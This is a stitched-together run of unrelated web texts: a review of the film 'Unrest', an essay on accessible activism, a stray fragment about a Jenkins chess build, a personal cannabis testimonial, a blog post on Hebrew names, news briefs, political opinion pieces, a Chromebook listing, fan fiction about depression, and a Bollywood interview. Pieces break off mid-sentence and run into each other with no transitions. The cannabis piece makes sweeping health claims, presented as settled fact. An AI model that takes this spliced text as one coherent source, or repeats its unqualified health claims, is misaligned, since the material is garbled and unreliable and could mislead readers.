If nothing else, “Unrest,” by Jennifer Brea, demonstrates just how debilitating chronic fatigue syndrome, also known as myalgic encephalomyelitis, can be. Ms. Brea, herself a victim, was a well-traveled Ph.D. student at Harvard who fell ill after a high fever in 2011. Along with exhaustion, she experienced loss of muscle control, the inability to speak coherently, pain, and extreme sensitivity to light and noise. Specialists at first concluded that she was dehydrated or stressed; one even suggested a delayed reaction to some childhood trauma that she might not recall.
In trying to understand chronic fatigue syndrome, Ms. Brea found other sufferers online and includes some of their stories here — a young Englishwoman bedridden for eight years, a Danish girl kept against her will in a psychiatric hospital for three years. Other interviews lightly sketch the history of the medical response to the syndrome, and how utterly insufficient it seems to be. Research money is only a small fraction, the film says, of that for multiple sclerosis, a condition afflicting roughly half as many Americans.
Mainly, though, “Unrest” is a video diary and, as such, is not always easy to watch. Ms. Brea bravely spares very little in showing how the disease literally leveled her life — at times leaving her crawling the floor — and strained her marriage. The film is also not vested in an upbeat ending. Rather, it powerfully insists on giving a voice to victims whose greatest challenge, apart from their symptoms, is surmounting a world of indifference.In my first year of college, I stopped calling myself an activist.
It took attending just a few meetings of the campus queer group for me to realize that I didn’t fit in with everyone else. Despite that the fact that I was definitely queer – a pre-transition trans woman at the time – I could tell immediately that I wasn’t “queer enough” to fight for social justice alongside these university-educated revolutionaries who spoke with such confidence and rolled their eyes every time I opened my mouth.
I didn’t know what “trigger warnings” or “intersectional systemic oppression” were. I didn’t dress in ripped denim and black leather, or have a colorfully dyed, asymmetrical haircut. I wasn’t white, like most of the people in the room. I didn’t even know who this “Judith Butler” person that everyone seemed to love so much was.
Simply being racialized, a trans person, and survivor of abuse had apparently not prepared me to talk or think about racism, transphobia, or trauma in any valuable way. Neither had facilitating workshops on homophobia in my hometown.
And after a few weeks of feeling confused and invisible, I decided that I just wasn’t smart enough to be an activist.
Six years, two degrees, one gender transition, and a bunch of published Internet rants later, I’m able to see that my feelings about those early forays into social justice weren’t so much about my personal capacity or value as they were about exclusion and accessibility.
Social justice and feminist culture are incredible positive forces that can transform the way we see ourselves and the world around us. Without social justice and the activist communities that form around it, I literally wouldn’t be alive today.
But sometimes those same activist cultures can be unnecessarily exclusive – and worse, inaccessible and elitist. I even feel myself doing it sometimes:
I roll my eyes when someone at a community meeting asks a “stupid question” about feminism. I snap unnecessarily when someone doesn’t know the latest politically correct terminology. I make assumptions about people who I perceive (usually wrongly) as either too young to know anything or too old to be down.
Social justice is such a beautiful, powerful part of my life that I want – need – it to be open to those I care about, from my fifteen-year-old sister to my corporate lawyer friends to my racist grandparents.
So here, for your reading pleasure, are nine ways I’m trying to make my activism more accessible to everyone.
1. Welcome People Who Are Trying to Learn
Activist communities can be very loving, but they can also be cliquey and hostile to newcomers who don’t speak the right language or even wear the right clothes.
At our worst, social justice culture is basically a rehash of high school, except that everyone is trying to one-up each other with how cool their politics are.
If we really want to create open, caring communities, then we have to create spaces (both online and IRL) where the learning process is welcome and valued.We have to celebrate the new possibilities that each new individual brings.
In practical terms, this means making sure that community meetings are open to newcomers, and that quieter and introverted folks are given opportunities to speak. It means that terminology is explained when necessary, and it means not using academic jargon to sound impressive.
Most of all, it means giving up the unrealistic – and frankly, oppressive– expectation that everyone should step into social justice conversations from an equal starting point – that everyone should or has to know exactly how to do everything perfectly, right away.
It means having the humility to know that all of us are, in fact, still amateurs at the work of making social justice ideas into reality.
2. Prioritize Physical and Economic Accessibility
If we, as activists and feminists, want to be accessible, then we need to—you know—actually be accessible!
As in, we need to make sure that disabled (I am using disability-first and not person-first language here for these reasons) folks can actually enter and comfortably get around in the spaces we use for work, meetings, conferences, workshops, parties, and every other event.
We also need to ensure that folks with children, people on welfare and fixed incomes, and basically anyone who might not have access to a lot of money and time can participate in community building.
Organizing childcare stations (this can be super fun), making events free or pay-what-you-can (it can be done!), and finding ways to compensate folks for “volunteer” work (which usually only middle class and wealthy folks can afford to do) are just a few examples of how this can be done.
These are some very basic practices that many community organizers tend to overlook, because society tends to turn accessibility barriers invisible to those not affected by them.
Addressing even a few of these very simple things, however, completely changes who can participate inand benefit from activism.
3. Celebrate Age Diversity
What young intersectional feminist doesn’t have a horror story about being trapped in a conversation with an older person who “just doesn’t get it?”
And what older, veteran activist doesn’t have a cringe-worthy anecdote about know-it-all youngsters who think that everything worth knowing can be found on a screen?
Ageism is a huge, unspoken problem in social justice culture.
Something I’ve noticed is that activist communities tend to be concentrated within an age range of 5-7 years, meaning that there is very little intergenerational overlap between them. This means there is little community memory to guide us. It also means that activism is not necessarily open to people creating and raising families.
An older feminist friend once said bitterly to me that “Activists all start out at 18 or 20, and then age out at 40. There never any children or elders in social justice communities, which means they aren’t really communities. They’re just scenes.”
These days, as I’m writing or organizing, I like to ask myself: Is my feminism one that I could see kids growing up with and participating in? Am I grounding myself in the wisdom of elders and mentors?
4. Make Room for Mistakes and Accountability
Sometimes I get really anxious about writing articles or organizing events about social justice. I’ve been part of one too many vicious Internet flame wars and public debates, and I know how intense and painful being publicly called out for making a mistake is.
I have friends who have sworn off feminism and community organizing for this very reason – because they said or did the wrong thing, and got burned for it.
We need to make room for people to make mistakes in their activism – and to grow from them.
I’m not saying that we should stop calling out oppressive language or behavior, or that we should tone police folks who are talking about the oppression they are directly experiencing. Definitely not – we have a right to speak up and to be angry about oppression.
I’m saying that doing the work of social justice is a skill that takes time, patience, and teaching to learn. I’m saying that we can’t treat people as though they were disposable – try one out and throw them away if they don’t work out.
We need to put our faith and our energy into showing each other how to do things right, rather than punishing each other for getting it wrong.
5. Value Intention and Action More than ‘Correct’ Language
Obsession with “correct” language plays an enormous part in making social justice inaccessible to many people. Feminist terminology changes practically every day, it seems, and making a mistake with it can be cause for intense social backlash.
And no, I’m not one of those folks who is always moaning about how the “PC generation” is ruining the world. I know what it feels like to be constantly misgendered, to hear racist slurs about my people casually tossed out as a joke.
I believe that when people say things that reinforce oppression and cause pain, they should be made aware of it.
However, I’m also starting to realize that being considered a “good feminist” is an endeavor that can require an enormous amount of privilege: It takes time and certain kind of education to read and keep up with social justice ideas. Not everyone’s style of learning or thinking lends itself easily to learning new ways of thinking and talking.
Living in Quebec, where the majority language is French (in which it is virtually impossible to use gender-neutral pronouns) and having to exchange complex ideas when I can barely use certain French tenses has given me a whole new appreciation for valuing folks’ intentions and actions over their language use.
Instead of judging my relationships by whether or not my non-anglophone friends are using the correct terminology, I have to ask myself: Is this person genuinely trying to be respectful? How important is terminology or pronouns versus the way that someone treats me and acts on their values?
Some activists use the phrase “Intention doesn’t matter – effect does” when it comes to using offensive language. I disagree. Intention and effect matter, because how we understand where someone is coming from can change the effect of what they are doing or saying.
6. Learning the Art of Calling In vs. Calling Out
When we do confront folks about talking or behaving oppressively, it can be super important to choose between “calling them in” (gently and lovingly explaining why they need to change what they are doing) and “calling them out” (responding with anger and social pressure).
Both are equally valuable and necessary tactics, but require judiciousness: Calling out is empowering because it allows oppressed individuals to respond and express valid emotions like rage and frustration. Calling in is useful because it allows folks who have done something oppressive to learn without feeling the need for defensiveness (well, that’s how it works on a good day).
My personal guideline is that I only call folks out if I am directly affected by what they are doing or saying – that is, if their words or actions are harming me, and not someone that I’m trying to be an ally to. Calling someone out for doing something that impacts people with identities and experiences other than my own feels disingenuous and needlessly alienating.
7. Acknowledge and Break Down Activist Hierarchies
A dynamic we rarely acknowledge in activist communities is that there is a social hierarchy based on experience and popularity: Folks who are good at talking and writing usually have the most power, while those who have less experience and are less vocal have the least.
Often, we create miniature celebrities out of our favorite activists and social justice writers, vloggers, and artists: These are the people who get tons of “likes” on Facebook and shares on their blog posts.
When unacknowledged, this dynamic make social activism less accessible because they prevent new activists from being heard. Folks who don’t have the time or ability to lead protests or write articles are excluded from taking the lead, even when the issue at hand affects them most.
Worst of all, activist social ladders can create a breeding ground for abuse, exploitation, and sexual harassment and assault. Too many of my acquaintances – particularly young women – have left social justice movements because of bad experiences with activist “celebrities.”
The revolution starts at home: If our movements are going to undo the abuse of power in the world, we have to undo it in our own communities.
8. Value Everyone’s Contributions
The best thing I ever got at a social justice conference was a dishtowel: Embroidered on it are the words “Everyone wants a revolution – no one wants to do the dishes.”
It’s easy to give someone glory and social cred for being an Internet personality or making a speech at a march. It’s easy to get lost in judging other folks’ value by how well they “speak feminist” or how many articles they’ve written.
It’s harder to recognize and celebrate the invisible and unglamorous work like child raising and cooking and cleaning that has always traditionally been done by women, particularly migrants and women of color.
This, however, is the work that makes any “movement” possible, and is equally important as speaking on a panel or teaching at a university.
We need to start recognizing and centering this work, and the people who do it, in order to build truly accountable social justice communities.
9. Center Love
People always seem to forget about love in the movement.
We get caught up in righteous anger, in validating sadness, in the cold hard realities of violence and abuse. We talk about smashing |
chess Project” and re run the Build.
Now both the Test case and Build is successful
You can also check the chess jar File generated and enjoy playing a game of chess!
Recommended reading
1. Martin Fowler explains Continuous Integration: This Martin Fowler article is still the best starting point to understanding Continuous Integration
A weekly newsletter for testers
View a sample
Leave this field empty if you're human:Background: I am a 38 year old male who works as an administrator in an office environment on the east coast of Canada. I was very anti-cannabis in my youth, the very model result of the government`s disinformation campaign on marijuana. Life circumstances have changed my perspective.
Shortly after my father died (when I was 35) I began to experience anxiety attacks. Episodes of slight nervousness gradually progressed to occasional full-blown debilitation. A couple of episodes were severe enough that I found I had to lie down because of the feeling of impending doom.
Although I had occasionally enjoyed cannabis since my mid-twenties, I started to use marijuana on a more regular basis as I found it helped to ease the occurrence and severity of my anxiety symptoms.
Not strictly for the immediate `high` effect, but as much for the residual benefits that seem to keep me ‘protected’ as long as I ‘top up my tank’ by consuming marijuana every once in a while. It is apparent to me that marijuana has a lingering effect, in that periods of prolonged abstinence result in the anxious symptoms gradually re-appearing. I have not suffered another anxiety episode since I began regular use.
Research tells me that marijuana has been as effective as could be expected from a successful course of conventional pharmaceutical treatment, minus any of the very-real (and sometimes dangerous) side effects that accompany virtually any ‘conventional’ treatment: weight gain, `blunted` emotions, not to mention the rare but occasional compelling need to end one’s own existence.
Noting that this is factually one of the most safe substances one can consume, negative ‘side-effects’ (for me) consist of an occasional (transitory) increase in anxiety when consuming too much. This is easily avoided by paying attention to the amount I consume, and is to me, a small price to pay in light of the overall benefit. Episodes where I have ‘over-indulged’ and have become slightly uncomfortable are usually followed by an extra-mellow rebound effect, and the ‘anxiety-threshold’ seems to be reset to a higher level the next time.
Some of the physical changes that I have experienced since I began using cannabis are that I have been able to quit smoking, am eating a healthier diet and exercise regularly. As a result, I have lost approximately 30 pounds. My blood pressure and lipid profiles are the best they have been since my teenage years. In short, I am approaching the best shape of my life.
Another benefit is that as with many people raised in our alcohol-tolerant (promoting?) society, I used to drink to excess. Now 3 drinks is a big night for me – I no longer enjoy (nor seek) that ‘trashed’ feeling.
Spiritually, I find that cannabis helps to reveal things as they really are, and sometimes allows you to see things from a different perspective. Mulling something over after a toke is almost like consulting with a more imaginative version of yourself!
I never ‘need’ cannabis and have never experience a ‘craving’, like I used to for a cigarette. Basically, I have found that it is like a nice craft beer or a rich piece chocolate – a virtually harmless pleasure put on earth for us to use and enjoy.
Like many enthusiasts, I have also found that it is a great ‘enhancer’ for virtually any activity (with the possible exception of solving mathematical problems – do not toke and triangulate!). Writing is easier. Inspirational sometimes arrives faster than you can record them. Contemplative powers are enhanced.
A largely undiscussed benefit is an increased capacity for feelings of empathy towards other humans and creatures, as well as an openness to ideas and philosophies that may have once been dismissed out-of-hand.
It is almost impossible to engage in violent or excessively aggressive thoughts or behavior while under the influence, and there is a definite carry-over into ‘sober’ periods of life. Sleep is more restful, comes more quickly and is devoid of nightmares.
I realize that this runs counter a lot of information presented as fact in the usually hysterical portrayal of this substance by our government and that it may make a non-user question whether the deleterious effects have degraded my mental functioning. Not so.
What makes me so passionate on this issue? The nagging feeling that it is hypocritical to give tacit approval (by remaining silent) while cannabis and those who enjoy it are persecuted for choosing to use a substance which does not cause them harm, helps to relieve many conditions, and generally leaves the user a better person for having experienced it.
Meanwhile, the puritanical roots of our present-day society have promoted tobacco and alcohol use as the ‘acceptable’ vises. This paradox has resulted in more death and misery than is possible to quantify or comprehend, but it would not be much of a stretch to say that these two substances have killed as many people as have been killed in the history of warfare. Yet marijuana is shunned and criminalized.
Future generations will judge us harshly for perpetuating this hoax. I refuse to be complicit.Well, no sooner did I post a wonderful quote from Charles Spurgeon on Facebook tonight than someone decided to start a debate (claiming the quote was a great example of “hyper-grace” — whereas, in fact, Spurgeon stood firmly against what is taught in hyper-grace circles today; plus, I don’t post inspirational quotes to start debates!), someone else questioned why I an Arminian, would quote a Calvinist (loud sigh from me), and someone else got us sidetracked on the Hebrew names for God and Jesus. (Seriously!)
I’ve already addressed those who feel that any inspirational quote is the place for them to introduce their doctrine and start a debate (see here), finally having to stark blocking folks from posting when they just wouldn’t follow our simple posting guidelines. But I really didn’t expect to see tonight’s quote, which is as doctrinally generic as can be, to end up migrating over to a discussion about Hebrew names. (After all, this was the quote: “I thought I could have leaped from earth to heaven at one spring when I first saw my sins drowned in the Redeemer’s blood.” I deleted all the comments that weren’t relevant to the post so we could get back to rejoicing in Jesus-Yeshua!)
So, for the record, once again, THERE IS NO SUCH NAME AS YAHSHUA. It didn’t exist in biblical times and it has not existed as a genuine Hebrew name in history — until people who really didn’t understand Hebrew made it up, thinking that it somehow restored the “Yah” element (from “Yahweh”) into the Savior’s name. If you want more details on this, you can read my article here. (While I’m at it, there’s no such either as Yahushua — Joshua was pronounced ye-ho-shu-ah — and God’s name was NEVER pronounced Yahua or the like. (Loud sigh again.)
Having said all that, I feel like quoting Spurgeon again: “I thought I could have leaped from earth to heaven at one spring when I first saw my sins drowned in the Redeemer’s blood.” It makes me want to shout!Former AWB boss fined over Iraqi bribes
Posted
Former Australian Wheat Board (AWB) managing director Andrew Lindberg has been fined $100,000 for his role in the Iraqi oil-for-food scandal.
Mr Lindberg has admitted breaching the Corporations Act by not telling the United Nations or the AWB board about bribes paid to the former regime of Saddam Hussein.
The AWB paid almost $300m in kickbacks to the Saddam regime during its participation in the oil-for-food program introduced in 1995 as part of UN sanctions imposed after the first Gulf War.
Mr Lindberg has also been banned from managing a company for a year.
Speaking outside the Victorian Supreme Court today, he warned firms to be cautious when trading abroad.
"I've never resiled from my responsibilities and I don't do it now. And I just want to get on with my life and do what I can," he told reporters outside the court.
"I think in any market, particularly overseas when you deal with third-world countries, I think you've got to be very careful, and it's perhaps easier than you think to make mistakes.
"I just want to get on with my life now and thank everyone that's supported me and thank the court for the consideration I've been given."
Topics: international-aid-and-trade, business-economics-and-finance, melbourne-3000, australia, vic, iraqThe moment went down on the artist's Beats1 radio show.
Frank Ocean Jokes About Bottoming: “I Don’t Really Have A D*ck In My Ass”
Frank Ocean hasn’t talked much about his sexuality since coming out in 2012, but recently included some playful banter about bottoming on his Beats1 show, “Blonded Radio.”
An interlude during the show, hosted by Ocean, Vegyn, Roof Access and Federico Aliprandi, contained a brief sketch featuring the Grammy winner in a heated conversation with his mother.
“I don’t really have a d*ck in my ass,” Ocean jokes over the beat of Delroy Edwards’ “I Love Sloane.”
“Even joking about it, that something is wrong!” the mother responds in disgust. “Is that what you’re saying you want? Oh my Lord!”
“I was just playing,” Ocean says in between laughter. “I wasn’t even talking about myself, I was talking about someone else.”
Overall, the interlude is ambiguous and mysterious, much like Ocean himself. But we’ll take anything from the talented singer we can get.The BBC said Tony Wadsworth and Julie Mayer remain off air (Picture: BBC)
Two BBC radio presenters have been charged with sex offences against four children.
Tony Wadsworth and Julie Mayer have presented on BBC Radio Leicester and BBC WM in Birmingham, the corporation said.
The couple are due before Warwickshire Magistrates’ Court on May 11.
Warwickshire Police said Tony Wadsworth, 68, of Broughton Astley, Leicestershire, has been charged with five counts of inciting a boy under the age of 16 to commit an act of gross indecency.
Julie Mayer, 58, of the same address, has been charged with seven counts of inciting a boy under the age of 16 to commit an act of gross indecency.
They both also face one count of committing an act outraging public decency.
The charges relate to four children, aged between 11 and 15, between 1996 and 1999, Warwickshire Police said.
MORE: Mum-of-four explains why she’s standing by husband convicted of raping girl, 7
MORE: Mum found guilty of stamping toddler Ayeeshia Jane Smith to deathLast month, with the federal government on the precipice of default, President Obama & Co. repeatedly warned that any cuts in government would amount to a terrorist Tea Party attack on assistance to the poor and elderly.
Funnily enough, they failed to mention the recent $4.5 billion expansion of the Healthy Hunger-Free Kids Act, which will now provide free lunches to ALL — rich and poor, needy and non-needy — of Detroit’s 65,800 public school-students. (Detroit is one of three pilot programs starting this month for a free-for-all that will ultimately cover similar districts nationwide.)
Advertisement
Advertisement
This new program is part of Obama’s orgy of spending, a binge that has ballooned the federal budget by 25 percent since his inauguration. But the program’s logic is even more insane than the price tag: The administration says it is giving rich kids free food to eliminate the shame that less-fortunate students may feel in receiving free food. We’re not making this up.
“We’ve worked very hard to reduce the stigma,” Aaron Lavallee, a U.S. Department of Agriculture spokesman, told the Detroit News. “We’re seeing a lot of working-class families who’ve had to turn to free school meals to feed their children.”
What’s next — handing out free Chevy Volts to all 16-year olds in order to reduce the stigma that low-income kids feel driving used 1990 Geo Metros?
Advertisement
Advertisement
Does anybody but a desk-bound government bureaucrat honestly think that class stigma will disappear if you give Richie Rich a free lunch? School districts with 62.5 percent or more of students from homes below 130 percent of the poverty level qualify — a threshold Detroit easily clears with 78 percent. All so that “working-class” kids can eat their lunch knowing that the “elites” eating free meals on the other side of the lunchroom aren’t stigmatizing them.
“Now all students will walk through a lunch line and not have to pay,” says Mark Schrupp, Detroit Public Schools COO. “Low-income students will not be easily identifiable and will be less likely to skip meals.”
Again, we aren’t making this up.
So much for government for the needy. Like Obama’s massive subsidies for politically connected Big Green, government has become a piggy bank for the Left to hand out favors to friends, subsidize third-car hybrid purchases for the rich, and test goofy theories about class stigma.
No wonder this country is mired in debt. And if you protest, you’re a terrorist.The Prevent American Invention Act
How many times have you heard U.S. political, business, and economic leaders say that America will always be more competitive than other countries because it is more innovative? Most recently, it was none other than President Obama who emphasized in his State of the Union message that America must "win the future" by out-innovating other countries.
In fact, America already out-invents other countries by at least two to one, in no small measure, because of its flexible, inventor-friendly patent system. So, you may be surprised to learn that a bill likely to cut the heart out of our innovative, entrepreneurial culture is presently rolling through Congress toward the president’s desk. Moreover, it seems likely to get his signature unless someone in the White House wakes up quickly to the true nature of what is afoot.
The ironically titled America Invents Act (previously the Patent Reform Act of 2011) is being pushed hard by a group of U.S. multinational companies whom — surprise — the act would greatly favor at the expense of individual inventors and small start-up companies, the very people we have in mind when we speak of American entrepreneurialism. Under the guise of simplification and harmonization with international practice, a key provision of the act that deals with the fundamental question of whether a patent is awarded based on who is first to invent or on who is first to file for a patent for the invention would be altered.
An integral part of U.S. patent law since 1839 has been the first to invent provision. Under it, an inventor has a grace period between the time of actual invention and the time he/she must file for a patent. If another person/corporation files for a patent on the same invention before the original inventor, that inventor still has the right to the patent if he/she can demonstrate original invention. This is very helpful to individual inventors and small companies because it gives them time to test the viability and commercial potential of their inventions. It also protects them from those big corporations or others who might hear of their invention and rush to be first to patent it. This "first to invent" provision is one major reason why Americans have become known as such prolific inventors. It is, of course, precisely this key provision that would be altered by the perverse international "harmonization" provisions of the new act. Most countries grant patents to those who first file their applications for patents on new inventions regardless of whether they were actually the original inventors. This is obviously a bureaucratically simpler procedure and also one that obviously favors big companies with platoons of scientists and lawyers who can scan the horizon for news of new inventions and then quickly file patent applications. This is the approach that the new act would impose on U.S. patent application procedures.
Even more perversely and more inexplicably the bill would place American inventors at a great disadvantage to foreign inventors. For example, take the following situation. A German inventor files for a patent in Europe and then, under a bi-lateral treaty, a bit later for the same patent in the United States. Shortly afterward, an American files for a U.S. patent on a similar (not identical) invention. Under the proposed new legislation, the German application would be considered prior art that would block issuance of a U.S. patent to the American applicant. But the reverse situation would not block issuance of a European patent to the German applicant.
Space does not permit me to present a comprehensive exposition of all the perverse elements of this bill, but suffice it to say that the America Invents Act might better be called the Prevent American Invention Act. If the Congress wants to preserve American entrepreneurialism an innovation, it should vote this act down. And if President Obama really wants America to "win the future" he must pressure Congress to vote it down and veto it if Congress adopts it.Any price comparison is to a new, nonrefurbished product price.
11.6” Acer Chromebook
Acer’s Chromebooks focus on speed and convenience. A dual-core processor lets users run several programs at once without inducing lag, and the laptop’s Chrome operating system connects owners to Google and third-party apps via WiFi. In addition, the Chromebooks themselves boot up in seconds thanks to a flash drive that stores data without using the slower-moving mechanical parts of traditional hard drives or first-edition RoboCops.
Product numbers: C710-2856
11.6” HD LED LCD display
Runs Chrome operating system
Intel 1.1GHz dual-core processor
2GB RAM
16GB solid state drive
HDMI port
Three USB 2.0 ports
Built-in touchpad
Stereo speakers
Battery life: approximately 3.5 hours per charge
Weight: 3.04 lb.
Dimensions: 11.2” (W) x 8” (D) x 1.1” (H)
Runs Google Chrome OS
Technical specifications
90-day warranty from Liquidity Services, Inc.
Condition: manufacturer refurbished
To complete your Goods order, simply purchase this Groupon and provide your name and shipping address.
Please check the Fine Print for this deal’s estimated delivery timeframe. We work with thousands of brands to deliver the amazing selection you see on Groupon Goods, and this shipping window ensures we have enough time to coordinate with our suppliers to get you the products you love.
For questions pertaining to this deal, click the Ask a Question button below. For post-purchase inquiries, please contact Groupon customer support.
View the Groupon Goods FAQ to learn more."Nora...? Are you in here?"
"...Don't turn on the lights."
"Do you want to come back to the room?"
"...Are they mad at me?"
"They're concerned."
"...Why?"
"You weren't acting like yourself."
"No, I mean... why do they care?"
"They're your friends."
"No they're not."
"Of course they are."
"I don't have any friends."
"What about me?"
"...You're different. The only reason you don't leave me like everybody else is you never actually do anything."
"..."
"...I'm sorry. I don't mean to ruin everything."
"You don't."
"Will you stop lying to me?!"
"I would never lie to you."
"You would if you thought it'd make me feel better."
"..."
"...What?"
"That sounds like something a friend would do."
"...I hate you."
"I know."
"...No I don't."
"I know that too."
"Can you just... Can you just leave me alone?"
"Is that what you really want?"
"Yes... No... I don't know."
"Then I'll stay until you do."
"...Why don't you ever get mad at me?"
"Practice."
"You're not funny, you know."
"I'm hilarious."
"...Sometimes."
"It's an understated humor."
"It's barely noticeable."
"You noticed it."
"Just lucky, I guess."
"Yes, I am."
"...Stop that."
"Stop what?"
"Trying to make me feel better! I'm not a kid in a bad mood you can cheer up with a few bad jokes and ice cream! I'm-"
"Sick."
"...I don't mean to be."
"I know. It's okay."
"It's not fair."
"...You haven't been taking your medicine, have you?"
"..."
"Your doctor said-"
"She doesn't have to take it."
"You were doing a lot better. I could really see a difference. Everybody could."
"Yay. Everybody noticed me being less of a freak."
"Nora."
"Sorry... I just... I couldn't keep doing it. I felt like I was about to fall asleep or throw up all the time. Not being able to... It's not important."
"What?"
"Nothing... I need... I need a pill every day to be normal. Do you know what that feels like? To be so broken you need to have your mind altered just so the eight hours a day you're awake for aren't hell? It's not... It's not right..."
"I know..."
"No, you don't. You have no idea what it's like. It gets so... I want... I was doing so much better."
"Yes, you were."
"No, I was doing so much better, you see? I was okay. I felt okay anyway. It was like I had been drowning in a pool while everyone swims around me and suddenly I had an inner tube to keep my head above water. But... But it's not enough. I can't really swim. It's awkward and uncomfortable and I'm still apart from everybody. So I just... slipped out. And I could swim... For a while... For a long while... And now..."
"I'm sorry."
"..."
"...Do you feel up to going back to the dorm?"
"...Do I have to?"
"Eventually. But not now. Not if you don't want to."
"I don't want to."
"Okay."
"...I'm afraid."
"...What are you afraid of?"
"Them."
"They aren't mad."
"No, I just can't... Arggh!"
"What's wrong?"
"I can't explain it..."
"Can you try?"
"No, it's... It's crazy..."
"..."
"...I can't go back... I'm going to do this again and I can't be the person who... I'm a time bomb. I'm going to go off and hurt them and get better and then go off again and again and again. I don't want..."
"You don't want to hurt them... That's not crazy."
"No... Yes... No. No. They'll start treating me with kids gloves, like I'm made of glass. They'll put up with outbursts and episodes and... And they'll get tired. They'll get as tired as I am and... And they won't be able to keep it up... Nobody can forever... I can't see them again because I don't want to lose them."
"...You won't lose us."
"You don't know that! Nobody stays! Everybody leaves me, and I don't blame them! I-I-I'm not worth it."
"You're worth it to me."
"You don't count."
"You're worth it to Jaune. You're worth it to Pyrrha. You're worth it to Ruby and Yang and Blake and Weiss."
"You don't know that."
"I do."
"How? How can you? Everybody says that, but when they have to live with it they... They can't! They never can! You're all going to leave me, just get it over with!"
"...We're not leaving tonight."
"Tonight."
"Tonight matters. We are here for you tonight. You don't think we'll be here tomorrow, or some tomorrow to come and I think I'll always be here. We don't really know... But tomorrow won't undo today and today we are here."
"...I hate you sometimes."
"I know."
"...I don't want to be broken any more."
"I know..."
"It's like... It's like I'm bleeding out but nobody can see the wound, just the blood. It's like the only reason I don't cry all the time is I can't find the energy. There's a machine in my head twisting every joy into something wrong... I feel so... weak..."
"You'll get better."
"You don't know that."
"I have faith in you."
"...Why?"
"Because you're not weak. You're still here. You wake up in the morning dreading the day. You feel alone when you're surrounded by love. You bleed and cry and wish you were gone with every bit of yourself... And you still get up. And you still face the day. You keep making friends and you keep trying even when you wish you could stop. Can't you see you've been fighting the entire time? You're not weak. You're the strongest girl I know."
"...I don't feel strong."
"That's because you're tired. And when you're tired, I'll be here for you."
"...Why?"
"Because you're my hero."
"..."
"...Are you ready?"
"Just... Just a little longer... I'm so tired."
"It's okay. We can rest a little longer."Having surveyed the contemporary sports-car landscape and found it nearly bereft of the traditional, clutch-pedal-actuated manual transmission, BBC Autos contributor Brendan McAleer posed that question in 2013.
Not much has changed since then. Modern automatics offer greater ease, efficiency and speed, a combination that has all but stamped out the stick. And yet, some enthusiasts insist on rowing through the gears.
These drivers had something to cheer recently when Jaguar fitted a manual to its F-type Coupe and Convertible models for the 2016 model year.
BBC Autos spent an afternoon driving the Coupe with Jaguar Performance Driving Academy instructor – and all-around motorsport kingpin – Mike Finch, who explained what made the traditional manual transmission essential equipment for a certain breed of sports-car buyer.
If you would like to comment on this or anything else you have seen on BBC Autos, head over to our Facebook page or message us on Twitter.No, she isn’t looking for sympathy. Instead, she’s in a mood to offer it. Bipasha Basu at her brattish best...If my personal space were to help my professional sphere, I’d be very glad – but it never did. Right from the day I entered the industry, my personal life had never helped me – it had, in fact, put blocks to my career. Because some things are very clear in this business – single girl works more, don’t talk about your boyfriend – these are things that help when you’re starting, perhaps not once your name is made. But the curiosity is there, it’s huge. I have to start seeing someone now. How dare you be single, it’s that sort of tone! I used to be scared of that word once. But the media threw it so much, so often in my face that a stage came when I actually turned around and said, all right, I’m the poster girl of being single.Arrey yeh toh ladke hain na aaj-kal, bilkul loser type hote hain. Woh sahara dhoondte rehte hain saare time. Honestly, the quality of men, they are looking only for mothers. And sometimes you don’t want to play the mother, it’s really exhausting! If any guy even remotely gives me the dukhiyari vibes, I am like no, please don’t call me again!Guys in the industry take the business so seriously. They put unnecessary pressure on themselves. They will not become globally renowned hallmark actors overnight, that’s not going to happen. Confidence is rather fragile in the men. They have their own baggages and egos and competing with someone else or whatever they are doing. Half their life goes in that. If they use that in focusing on what they want, the process of living would be much lighter, easier. But they make it very difficult. Everything they do in life is “pressure”. “Oh, it’s such a battle!” I don’t have too much of sympathy for that. I’m like, OK, it’s tough? Tough for you, not for me!People younger than me, they’re waiting for this very big moment in their lives, which is elusive, which you don’t know whether it’ll come or not, but they can’t appreciate the small things, the everyday happiness of life. Sometimes you want to sympathise, but then it’s their own life. It’s not just in the film industry. People want to live with a struggle in their heads. “I’m struggling”. I’m like, wow, struggle, go on!But this business does make you a little fragile, because sometimes you think you’ve made the best film ever and people junk it in two minutes. It kind of confuses you, at least for that moment.I’m not satisfied with my career (laughs)! What is there to be satisfied about? I don’t think I’ve done any profound work yet... People ask me how would you want to be remembered. I tell them I don’t want to be remembered! I’m not here to become a Madhubala or receive a Lifetime Achievement Award. I’m not that kind of a person. And I’m not brash about it, it’s just the way I am.I was called an unconventional actress in every article when I’d entered, perhaps more so because I was dusky and tall. Dusky became a constant adjective with me. And when people meet me, they say, aap toh kaale nahi ho, aap toh gore ho! And I’m like, hello, I’m not gori! But this is the first conversation fans have with me. Why do you look dark on screen? I laugh, and say, mujhe pasand hai, main do shade dark karti hoon apne ko. What do you say?The colour made me stand out at that time, since those days there was the quintessential Indian heroine, fair, light-eyed and all that. Now, thankfully, the Indian actress doesn’t have one look. And then everyone wanted to be sexy. Before that, being sexy was a taboo, it was like hara-kiri. I remember I had a conversation with an actress at a beachside hotel in Mauritius. There was another actress with us, and she came out in shorts. So this senior actress, really big-time then, is telling me, “see, she’s wearing shorts when she’s not even shooting!” And I’m like, are you OK? This is a beach, what is she supposed to wear? She belonged to that school of actresses who would do anything on-screen, but would be all proper off it. I told her, I’m just going to wear shorts and come back myself (laughs)!Nowadays the bikini stories are very funny. Who wore bikini best and who’ll wear bikini next. Amazing stories! I’ve been part of a lot of these bikini stories myself, that’s a different thing. The first time I was asked to wear it, I was petrified, because I was moti. I told Adi ( Aditya Chopra ), are you mad? I’m not going to wear it, I’m moti. He said, I’m giving you one year, get fit, because the film is all about being sexy and stylish. I said, one year? Then I can think about it. But my training fixation really began with No Entry. I was not doing it because the role was that of a bar dancer and so she had to dress a little differently. I was so golu then! I used to only smartly dress to cover myself up and look thin. I was lazy and I was doing 13 films a year and working 18 hours a day.I told Boney Kapoor and Anil Kapoor, I can’t play a dancer, and I’m motu, why do you want me? And then they made Ramesh Taurani and Mahesh Bhatt and everyone in the industry call me! They offered me any kind of money. And finally, I was convinced. I told myself, I’m going to gradually lose weight. I started my first basic running regime. When all others were partying, I used to go to the gym. They would sympathise with me. Esha would say to me, chal, chal, tu bhaag. Now Esha sees me and asks, what have you turned into (laughs)?My friends have really pulled me out of so many low points. I also make a lot of friends because I trust people very easily. I just trust. And it’s not backfired. Honestly, good people stay in my life; it’s only the bad that goes. I’m very, very lucky that way. There was a point I did not acknowledge it, and I went into my shell – that was the worst phase of my life. I tell people, I have a happy life, that’s why I glow!I keep my distance from politics. Lots of money has been offered to me for campaigning over the years, and I have always refused. I used to 